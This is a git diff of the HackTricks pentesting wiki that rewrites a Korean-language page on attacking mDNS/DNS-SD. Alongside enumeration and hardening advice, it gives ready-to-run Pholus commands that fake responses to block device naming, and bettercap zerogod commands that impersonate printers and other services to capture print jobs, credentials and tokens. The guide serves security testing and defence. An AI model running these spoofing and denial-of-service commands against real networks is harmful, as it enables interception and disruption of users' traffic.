diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index facc4ae71..0165a854a 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -65,7 +65,7 @@ def ref(matchobj): dir = path.dirname(current_chapter['source_path']) rel_path = path.normpath(path.join(dir,href)) try: - logger.debug(f'Error getting chapter title: {href} trying with relative path {rel_path}') + logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}') if "#" in href: chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") title = " ".join(href.split("#")[1].split("-")).title() diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index 7ecc137ea..abb48d96a 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -2,53 +2,143 @@ {{#include ../banners/hacktricks-training.md}} -## **기본 정보** +## 기본 정보 -**Multicast DNS (mDNS)**는 전통적인 DNS 서버 없이 로컬 네트워크 내에서 **DNS와 유사한 작업**을 가능하게 합니다. **UDP 포트 5353**에서 작동하며, 장치들이 서로 및 그들의 서비스를 발견할 수 있게 해주며, 다양한 IoT 장치에서 일반적으로 볼 수 있습니다. **DNS Service Discovery (DNS-SD)**는 mDNS와 함께 사용되며, 표준 DNS 쿼리를 통해 네트워크에서 사용 가능한 서비스를 식별하는 데 도움을 줍니다. +Multicast DNS (mDNS)는 유니캐스트 DNS 서버 없이 로컬 링크 내에서 DNS와 유사한 이름 해석 및 서비스 검색을 가능하게 합니다. 이는 UDP/5353 및 멀티캐스트 주소 224.0.0.251 (IPv4)와 FF02::FB (IPv6)를 사용합니다. DNS 서비스 검색 (DNS-SD, 일반적으로 mDNS와 함께 사용됨)은 PTR, SRV 및 TXT 레코드를 통해 서비스를 열거하고 설명하는 표준화된 방법을 제공합니다. ``` PORT STATE SERVICE 5353/udp open zeroconf ``` -### **mDNS의 작동** +Key protocol details you’ll often leverage during attacks: +- .local 영역의 이름은 mDNS를 통해 해결됩니다. +- QU (Query Unicast) 비트는 멀티캐스트 질문에 대해서도 유니캐스트 응답을 요청할 수 있습니다. +- 구현은 로컬 링크에서 출발하지 않은 패킷을 무시해야 하지만, 일부 스택은 여전히 이를 수용합니다. +- 프로빙/발표는 고유한 호스트/서비스 이름을 강제합니다; 여기서 간섭하면 DoS/“이름 점유” 조건이 발생합니다. -표준 DNS 서버가 없는 환경에서 mDNS는 장치가 **.local**로 끝나는 도메인 이름을 해결할 수 있도록 **224.0.0.251** (IPv4) 또는 **FF02::FB** (IPv6) 멀티캐스트 주소를 쿼리합니다. mDNS의 중요한 측면에는 레코드 유효성을 나타내는 **Time-to-Live (TTL)** 값과 유니캐스트 쿼리와 멀티캐스트 쿼리를 구분하는 **QU 비트**가 포함됩니다. 보안 측면에서 mDNS 구현은 패킷의 출발지 주소가 로컬 서브넷과 일치하는지 확인하는 것이 중요합니다. +## DNS-SD 서비스 모델 -### **DNS-SD의 기능** +서비스는 .local 아래에서 _._tcp 또는 _._udp로 식별됩니다. 예: _ipp._tcp.local (프린터), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge) 등. _services._dns-sd._udp.local로 유형을 발견한 후, 발견된 인스턴스를 SRV/TXT/A/AAAA로 해결합니다. -DNS-SD는 서비스 유형을 해당 인스턴스에 매핑하는 포인터 레코드(PTR)를 쿼리하여 네트워크 서비스의 발견을 용이하게 합니다. 서비스는 **.local** 도메인 내에서 **\_\.\_tcp 또는 \_\.\_udp** 패턴을 사용하여 식별되며, 이는 해당 **SRV** 및 **TXT 레코드**의 발견으로 이어져 상세한 서비스 정보를 제공합니다. +## 네트워크 탐색 및 열거 -### **네트워크 탐색** - -#### **nmap 사용법** - -mDNS 서비스를 위해 로컬 네트워크를 스캔하는 유용한 명령은: +- nmap 대상 스캔 (호스트에서 직접 mDNS): ```bash -nmap -Pn -sUC -p5353 [target IP address] +nmap -sU -p 5353 --script=dns-service-discovery ``` -이 명령은 열려 있는 mDNS 포트와 그 위에서 광고되는 서비스를 식별하는 데 도움이 됩니다. - -#### **Pholus를 이용한 네트워크 열거** - -mDNS 요청을 적극적으로 보내고 트래픽을 캡처하기 위해 **Pholus** 도구를 다음과 같이 사용할 수 있습니다: +- nmap 브로드캐스트 발견 (세그먼트를 듣고 모든 DNS-SD 유형/인스턴스를 열거): ```bash -sudo python3 pholus3.py [network interface] -rq -stimeout 10 +sudo nmap --script=broadcast-dns-service-discovery ``` +- avahi-browse (Linux): +```bash +# 서비스 유형 목록 +avahi-browse -bt _services._dns-sd._udp +# 모든 서비스 탐색 및 호스트/포트로 해결 +avahi-browse -art +``` +- Apple dns-sd (macOS): +```bash +# 모든 HTTP 서비스 탐색 +dns-sd -B _http._tcp +# 서비스 유형 열거 +dns-sd -B _services._dns-sd._udp +# 특정 인스턴스를 SRV/TXT로 해결 +dns-sd -L "My Printer" _ipp._tcp local +``` +- tshark로 패킷 캡처: +```bash +# 실시간 캡처 +sudo tshark -i -f "udp port 5353" -Y mdns +# 오직 DNS-SD 서비스 목록 쿼리 +sudo tshark -i -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\"" +``` + +Tip: 일부 브라우저/WebRTC는 로컬 IP를 숨기기 위해 임시 mDNS 호스트 이름을 사용합니다. 랜덤-UUID.local 후보가 네트워크에 보이면, mDNS로 해결하여 로컬 IP로 전환하세요. + ## 공격 -### **mDNS 프로빙 악용** +### mDNS 이름 프로빙 간섭 (DoS / 이름 점유) -공격 벡터는 mDNS 프로브에 위조된 응답을 보내는 것으로, 모든 잠재적인 이름이 이미 사용 중임을 제안하여 새로운 장치가 고유한 이름을 선택하는 것을 방해합니다. 이는 다음을 사용하여 실행할 수 있습니다: +프로빙 단계에서 호스트는 이름의 고유성을 확인합니다. 스푸핑된 충돌로 응답하면 새로운 이름을 선택하거나 실패하도록 강제합니다. 이는 서비스 등록 및 발견을 지연시키거나 방지할 수 있습니다. + +Example with Pholus: ```bash -sudo python pholus.py [network interface] -afre -stimeout 1000 +# Block new devices from taking names by auto-faking responses +sudo python3 pholus3.py -afre -stimeout 1000 ``` -이 기술은 새로운 장치가 네트워크에 서비스 등록을 차단하는 데 효과적입니다. +### 서비스 스푸핑 및 사칭 (MitM) -**요약하자면**, mDNS와 DNS-SD의 작동 방식을 이해하는 것은 네트워크 관리 및 보안에 매우 중요합니다. **nmap** 및 **Pholus**와 같은 도구는 로컬 네트워크 서비스에 대한 귀중한 통찰력을 제공하며, 잠재적인 취약점에 대한 인식은 공격으로부터 보호하는 데 도움이 됩니다. +광고된 DNS-SD 서비스를 사칭하여 (프린터, AirPlay, HTTP, 파일 공유) 클라이언트가 당신에게 연결하도록 유도합니다. 이는 특히 다음에 유용합니다: +- _ipp._tcp 또는 _printer._tcp를 스푸핑하여 문서를 캡처합니다. +- 클라이언트를 HTTP/HTTPS 서비스로 유도하여 토큰/쿠키를 수집하거나 페이로드를 전달합니다. +- Windows 클라이언트가 사칭된 서비스에 대한 인증을 협상할 때 NTLM 릴레이 기술과 결합합니다. -### 스푸핑/중간자 공격 +bettercap의 zerogod 모듈(mDNS/DNS-SD 스푸퍼/사칭자) 사용: +```bash +# Start mDNS/DNS-SD discovery +sudo bettercap -iface -eval "zerogod.discovery on" -이 서비스에서 수행할 수 있는 가장 흥미로운 공격은 **클라이언트와 실제 서버 간의 통신에서 MitM**을 수행하는 것입니다. 민감한 파일(프린터와의 통신 MitM)이나 자격 증명(Windows 인증)을 얻을 수 있을지도 모릅니다.\ -자세한 내용은 다음을 확인하세요: +# Show all services seen from a host +> zerogod.show 192.168.1.42 + +# Impersonate all services of a target host automatically +> zerogod.impersonate 192.168.1.42 + +# Save IPP print jobs to disk while impersonating a printer +> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/ +> zerogod.impersonate 192.168.1.42 + +# Replay previously captured services +> zerogod.save 192.168.1.42 target.yml +> zerogod.advertise target.yml +``` +또한 일반 LLMNR/NBNS/mDNS/WPAD 스푸핑 및 자격 증명 캡처/릴레이 워크플로를 참조하십시오: + +{{#ref}} +../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +{{#endref}} + +### 최근 구현 문제에 대한 노트 (참여 중 DoS/지속성에 유용) + +- Avahi reachable-assertion 및 D-Bus 충돌 버그(2023)는 Linux 배포판에서 avahi-daemon을 종료시킬 수 있으며, 이는 재시작할 때까지 대상 호스트에서 서비스 검색을 방해합니다. +- Cisco IOS XE 무선 LAN 컨트롤러 mDNS 게이트웨이 DoS(2024, CVE-2024-20303)는 인접 공격자가 높은 CPU를 유도하고 AP를 연결 해제할 수 있게 합니다. VLAN 간에 mDNS 게이트웨이를 발견하면 잘못된 형식이나 높은 비율의 mDNS에 대한 안정성에 유의하십시오. + +## 방어적 고려사항 및 OPSEC + +- 세그먼트 경계: mDNS 게이트웨이가 명시적으로 필요하지 않는 한 보안 구역 간에 224.0.0.251/FF02::FB를 라우팅하지 마십시오. 검색을 브리징해야 하는 경우 허용 목록 및 비율 제한을 선호하십시오. +- Windows 엔드포인트/서버: +- mDNS를 통한 이름 해제를 강제로 비활성화하려면 레지스트리 값을 설정하고 재부팅하십시오: +``` +HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD) +``` +- 관리되는 환경에서는 내장된 “mDNS (UDP-In)” Windows Defender 방화벽 규칙(최소한 도메인 프로필에서)을 비활성화하여 홈/로밍 기능을 유지하면서 수신 mDNS 처리를 방지하십시오. +- 최신 Windows 11 빌드/GPO 템플릿에서는 “컴퓨터 구성 > 관리 템플릿 > 네트워크 > DNS 클라이언트 > 멀티캐스트 DNS(mDNS) 프로토콜 구성” 정책을 사용하고 이를 비활성화로 설정하십시오. +- Linux (Avahi): +- 필요하지 않을 때 게시를 잠그십시오: `disable-publishing=yes`를 설정하고 `/etc/avahi/avahi-daemon.conf`에서 `allow-interfaces=` / `deny-interfaces=`로 인터페이스를 제한하십시오. +- `check-response-ttl=yes`를 고려하고 엄격히 필요하지 않는 한 `enable-reflector=yes`를 피하십시오; 반사할 때는 `reflect-filters=` 허용 목록을 선호하십시오. +- macOS: 특정 서브넷에 대해 Bonjour 검색이 필요하지 않을 때 호스트/네트워크 방화벽에서 수신 mDNS를 제한하십시오. +- 모니터링: `_services._dns-sd._udp.local` 쿼리의 비정상적인 급증이나 중요한 서비스의 SRV/TXT의 갑작스러운 변화를 경고하십시오; 이는 스푸핑 또는 서비스 사칭의 지표입니다. + +## 도구 빠른 참조 + +- nmap NSE: `dns-service-discovery` 및 `broadcast-dns-service-discovery`. +- Pholus: 능동 스캔, 역 mDNS 스윕, DoS 및 스푸핑 도우미. +```bash +# 수동 스니프 (타임아웃 초) +sudo python3 pholus3.py -stimeout 60 +# 서비스 유형 열거 +sudo python3 pholus3.py -sscan +# 일반 mDNS 요청 전송 +sudo python3 pholus3.py --request +# 서브넷의 역 mDNS 스윕 +sudo python3 pholus3.py -rdns_scanning 192.168.2.0/24 +``` +- bettercap zerogod: mDNS/DNS-SD 서비스를 발견, 저장, 광고 및 사칭합니다(위의 예 참조). + +## 스푸핑/MitM + +이 서비스에서 수행할 수 있는 가장 흥미로운 공격은 클라이언트와 실제 서버 간의 통신에서 MitM을 수행하는 것입니다. 민감한 파일(프린터와의 통신을 MitM)이나 자격 증명(Windows 인증)을 얻을 수 있을지도 모릅니다.\ +자세한 내용은 다음을 확인하십시오: {{#ref}} ../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -57,5 +147,7 @@ sudo python pholus.py [network interface] -afre -stimeout 1000 ## 참고문헌 - [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y) +- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html) +- [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/) {{#include ../banners/hacktricks-training.md}}